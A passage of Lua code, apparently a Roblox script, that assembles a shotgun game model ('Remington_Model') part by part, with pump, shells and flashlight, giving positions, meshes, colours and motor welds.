mot = New("Motor",A6,"mot",{Part0 = A6,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, -1.2262416e-013, 6.3277781e-005, 1.00000024, 7.71644285e-018, 1.00000024, -6.3277781e-005),C1 = CFrame.new(0.0760040283, 0.228122711, -0.566955566, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
PumpPart = New("Part",Remington_Model,"PumpPart",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.958984, 33.9389992, 240.338989, 0.000125989245, 0.866035521, 0.499981582, 3.19443643e-007, -0.499980778, 0.866034091, 0.999997437, -0.000108920503, -6.33224845e-005),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",PumpPart,"Mesh",{Offset = Vector3.new(-0.100000001, 0, 0),Scale = Vector3.new(0.869565248, 0.652173877, 0.869565248),})
mot = New("Motor",PumpPart,"mot",{Part0 = PumpPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.000125989318, 3.50177373e-007, 1.00000024, 0.866036117, -0.499981821, -0.000108936219, 0.49998194, 0.866035938, -6.3295658e-005),C1 = CFrame.new(0.0350189209, -0.0243263245, -2.40330505, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Railing = New("Part",Remington_Model,"Railing",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(198.994003, 34.3580017, 238.263, 0.999998927, -3.02360537e-009, 1.71926985e-007, 1.91531191e-009, 0.999976873, 0.00644556619, -1.7194256e-007, -0.00644565001, 0.999975801),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Railing,"Mesh",{Scale = Vector3.new(0.114285715, 0.0285714287, 0.0571428575),MeshType = Enum.MeshType.Torso,})
mot = New("Motor",Railing,"mot",{Part0 = Railing,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999999642, 1.91534322e-009, -1.71943029e-007, -3.02359804e-009, 0.99997896, -0.00644563884, 1.71927127e-007, 0.00644560996, 0.999978602),C1 = CFrame.new(0, 0.375934601, -0.323623657, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.677777767),CFrame = CFrame.new(198.994003, 34.3419952, 238.431992, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.5, 0.055555556, 1),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.36145401, -0.492752075, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
PumpPart = New("Part",Remington_Model,"PumpPart",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.958984, 33.9389992, 239.599991, 0.000125974344, 0.866035521, 0.499981582, 3.19443643e-007, -0.499980778, 0.866034091, 0.999997437, -0.000108907465, -6.33150339e-005),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",PumpPart,"Mesh",{Offset = Vector3.new(-0.100000001, 0, 0),Scale = Vector3.new(0.869565248, 0.652173877, 0.869565248),})
mot = New("Motor",PumpPart,"mot",{Part0 = PumpPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.000125974417, 3.50177373e-007, 1.00000024, 0.866036117, -0.499981821, -0.00010892329, 0.49998194, 0.866035938, -6.32881856e-005),C1 = CFrame.new(0.0350189209, -0.0309906006, -1.66433716, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.3999977, 237.546005, -0.999999046, 2.32402598e-007, -1.03373257e-008, 4.25526565e-008, 0.226423576, 0.974026561, 2.28707108e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.841666579, 0.222222224),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 4.25527524e-008, 2.28707705e-007, 2.32402826e-007, 0.226424068, 0.974028468, -1.03373088e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.588497162, 0.38470459, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.4300003, 237.67598, -0.999998808, 8.50773318e-008, 5.24463921e-008, 7.03478094e-008, 0.226423576, 0.974026561, 7.09925985e-008, 0.974025726, -0.22642301),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.5, 0.222222224),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999523, 7.03479088e-008, 7.0992769e-008, 8.50774313e-008, 0.226424068, 0.974028468, 5.24464632e-008, 0.974028587, -0.226423606),C1 = CFrame.new(0.00399780273, -0.557323456, 0.255004883, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.3730011, 237.427002, 0.999999285, -2.3240267e-007, -1.03372377e-008, -4.25525997e-008, -0.226422742, 0.97402668, -2.28707009e-007, -0.974025965, -0.226422653),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.388888896, 0.222222224),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.25527027e-008, -2.2870762e-007, -2.3240284e-007, -0.226423249, -0.974028707, -1.03372235e-008, 0.974028707, -0.226423249),C1 = CFrame.new(0.00399780273, -0.616565704, 0.503463745, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.344444454, 0.200000003),CFrame = CFrame.new(198.990005, 33.4449997, 237.546005, -0.999999046, 2.32402598e-007, -1.03373257e-008, 4.25526565e-008, 0.226423576, 0.974026561, 2.28707108e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.222222224),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 4.25527524e-008, 2.28707705e-007, 2.32402826e-007, 0.226424068, 0.974028468, -1.03373088e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.543498993, 0.385116577, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.5779991, 237.718002, -0.999999285, 3.70348204e-007, 7.74750504e-008, 1.91572855e-008, -0.154940739, 0.987921298, 3.77878905e-007, 0.987920582, 0.15494056),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.277777761, 0.222222224),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 1.91573086e-008, 3.77879957e-007, 3.70348459e-007, -0.154941022, 0.987923324, 7.74751001e-008, 0.987923324, 0.154941022),C1 = CFrame.new(0.00399780273, -0.408950806, 0.214324951, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Shell2 = New("Part",Remington_Model,"Shell2",{BrickColor = BrickColor.new("Brick yellow"),Reflectance = 0.20000000298023,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.154999, 34.0559998, 238.322998, -0.999999285, 4.35450715e-008, 3.80975962e-009, 4.3577586e-008, 0.999956846, 0.00901973248, -3.41675488e-009, 0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.843137, 0.772549, 0.603922),})
Mesh = New("CylinderMesh",Shell2,"Mesh",{Scale = Vector3.new(0.555555522, 0.5, 0.555555522),})
mot = New("Motor",Shell2,"mot",{Part0 = Shell2,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(-0.160995483, 0.0744857788, -0.38633728, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.122009, 34.1919975, 238.634995, -6.03961325e-014, 4.47034836e-008, -0.999999285, -0.00901970267, 0.999956846, 4.45667041e-008, 0.999956131, 0.00901963562, -3.49431417e-009),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.777777791, 1, 0.777777791),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -3.6918385e-014, -0.0090196915, 0.999958932, 4.47034871e-008, 0.999958932, 0.0090196915, -1, 4.45667148e-008, -3.4943497e-009),C1 = CFrame.new(-0.128005981, 0.213294983, -0.697097778, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.677777767),CFrame = CFrame.new(198.994003, 34.3259964, 238.430984, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.388888896, 0.111111112, 1),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.34544754, -0.491882324, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.966003, 34.2609978, 238.347, 0.999999285, -4.35450715e-008, 3.80975962e-009, -4.3577586e-008, -0.999956846, 0.00901973248, 3.41675488e-009, -0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.222222224, 0.222222224),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, -4.35450644e-008, -0.999958932, -0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(0.0279998779, 0.279693604, -0.408493042, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.344444454, 0.200000003),CFrame = CFrame.new(198.990005, 33.901001, 237.692001, -0.999999046, 3.8339823e-007, -5.40486624e-008, 3.41655948e-008, 0.226423576, 0.974026561, 3.85678248e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.666666687),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 3.41656872e-008, 3.85679272e-007, 3.83398543e-007, 0.226424068, 0.974028468, -5.40486909e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.0861968994, 0.243240356, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.3849983, 238.177002, 0.999999285, -4.6309421e-007, 3.99015931e-008, 4.63434333e-007, 0.999956846, -0.00901973248, -3.57230014e-008, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.333333343, 0.166666672, 0.166666672),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 4.63435327e-007, -3.57230583e-008, -4.63094551e-007, 0.999958932, 0.0090197213, 3.99016429e-008, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.40215683, -0.237380981, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.887001, 238.048981, 1.90734704e-006, -2.35438142e-006, 0.999999404, -0.852791429, -0.522247314, 3.15822035e-007, 0.522246897, -0.852790892, -2.83477038e-006),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.388888896, 0.388888896),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.90734852e-006, -0.852793217, 0.522248328, -2.35438301e-006, -0.522248447, -0.852793336, 1.00000012, 3.15822632e-007, -2.83477834e-006),C1 = CFrame.new(0, -0.0969772339, -0.113861084, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Shell3 = New("Part",Remington_Model,"Shell3",{BrickColor = BrickColor.new("Brick yellow"),Reflectance = 0.20000000298023,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.154999, 34.2879982, 238.480988, -0.999999285, 4.35450715e-008, 3.80975962e-009, 4.3577586e-008, 0.999956846, 0.00901973248, -3.41675488e-009, 0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.843137, 0.772549, 0.603922),})
Mesh = New("CylinderMesh",Shell3,"Mesh",{Scale = Vector3.new(0.555555522, 0.5, 0.555555522),})
mot = New("Motor",Shell3,"mot",{Part0 = Shell3,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(-0.160995483, 0.30790329, -0.542236328, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.9239998, 238.076981, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.388888896, 0.277777761, 0.111111112),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, -0.0597267151, -0.141525269, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Flashlight2 = New("Part",Remington_Model,"Flashlight L",{BrickColor = BrickColor.new("Light blue"),Reflectance = 0.30000001192093,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.992996, 33.8879967, 241.268997, 1.52035099e-007, -2.15638394e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50641782e-007, 0.00644565001, -0.999976158, -2.16613387e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.705882, 0.823529, 0.894118),})
Mesh = New("CylinderMesh",Flashlight2,"Mesh",{Scale = Vector3.new(0.777777791, 0.055555556, 0.777777791),})
mot = New("Motor",Flashlight2,"mot",{Part0 = Flashlight2,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -2.15638579e-007, -0.00644563884, -0.99997896, 1, 1.5064208e-007, -2.16613969e-007),C1 = CFrame.new(0.00100708008, -0.0669364929, -3.33374023, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Flashlight = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.388888896, 0.200000003),CFrame = CFrame.new(198.992996, 33.8850021, 240.877991, 1.52035099e-007, -1.71927041e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50923526e-007, 0.00644565001, -0.999976158, -1.72903071e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("CylinderMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.611111104, 1, 0.611111104),})
mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -1.71927184e-007, -0.00644563884, -0.99997896, 1, 1.50923825e-007, -1.72903526e-007),C1 = CFrame.new(0.00100708008, -0.0734596252, -2.94277954, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Flashlight = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.992996, 33.8850021, 240.877991, 1.52035099e-007, -2.15638394e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50641782e-007, 0.00644565001, -0.999976158, -2.16613387e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.666666687, 0.722222269, 0.666666687),})
mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -2.15638579e-007, -0.00644563884, -0.99997896, 1, 1.5064208e-007, -2.16613969e-007),C1 = CFrame.new(0.00100708008, -0.0734596252, -2.94277954, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2819977, 240.974991, 0.999999285, -3.76375993e-007, 3.99015931e-008, 3.76719981e-007, 0.999956846, -0.00901973248, -3.65051775e-008, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.222222224, 0.222222224, 0.611111104),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 3.76720777e-007, -3.6505245e-008, -3.76376278e-007, 0.999958932, 0.0090197213, 3.99016429e-008, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.324398041, -3.03619385, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.122009, 34.1959953, 238.169006, -6.03961325e-014, 4.47034836e-008, -0.999999285, -0.00901970267, 0.999956846, 4.45667041e-008, 0.999956131, 0.00901963562, -3.49431417e-009),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.777777791, 1, 0.777777791),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -3.6918385e-014, -0.0090196915, 0.999958932, 4.47034871e-008, 0.999958932, 0.0090196915, -1, 4.45667148e-008, -3.4943497e-009),C1 = CFrame.new(-0.128005981, 0.213088989, -0.23109436, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Shell1 = New("Part",Remington_Model,"Shell1",{BrickColor = BrickColor.new("Earth green"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.200000003),CFrame = CFrame.new(199.154999, 34.1070023, 238.167999, -0.999999285, -4.35450644e-008, -3.80978449e-009, 4.3577586e-008, -0.999956846, -0.00901985168, -3.41675488e-009, -0.00901978463, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.152941, 0.27451, 0.176471),})
Mesh = New("CylinderMesh",Shell1,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.555555522),})
mot = New("Motor",Shell1,"mot",{Part0 = Shell1,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.3545068e-008, -0.999958932, -0.00901984051, -3.80976761e-009, -0.00901984051, 0.999958932),C1 = CFrame.new(-0.160995483, 0.124088287, -0.230880737, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Shell1 = New("Part",Remington_Model,"Shell1",{BrickColor = BrickColor.new("Brick yellow"),Reflectance = 0.20000000298023,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.154999, 34.269001, 238.169983, -0.999999285, 4.35450715e-008, 3.80975962e-009, 4.3577586e-008, 0.999956846, 0.00901973248, -3.41675488e-009, 0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.843137, 0.772549, 0.603922),})
Mesh = New("CylinderMesh",Shell1,"Mesh",{Scale = Vector3.new(0.555555522, 0.5, 0.555555522),})
mot = New("Motor",Shell1,"mot",{Part0 = Shell1,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(-0.160995483, 0.28609848, -0.231414795, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Flashlight = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.992996, 33.8829956, 240.648987, 1.52035099e-007, -1.71927041e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50923526e-007, 0.00644565001, -0.999976158, -1.72903071e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
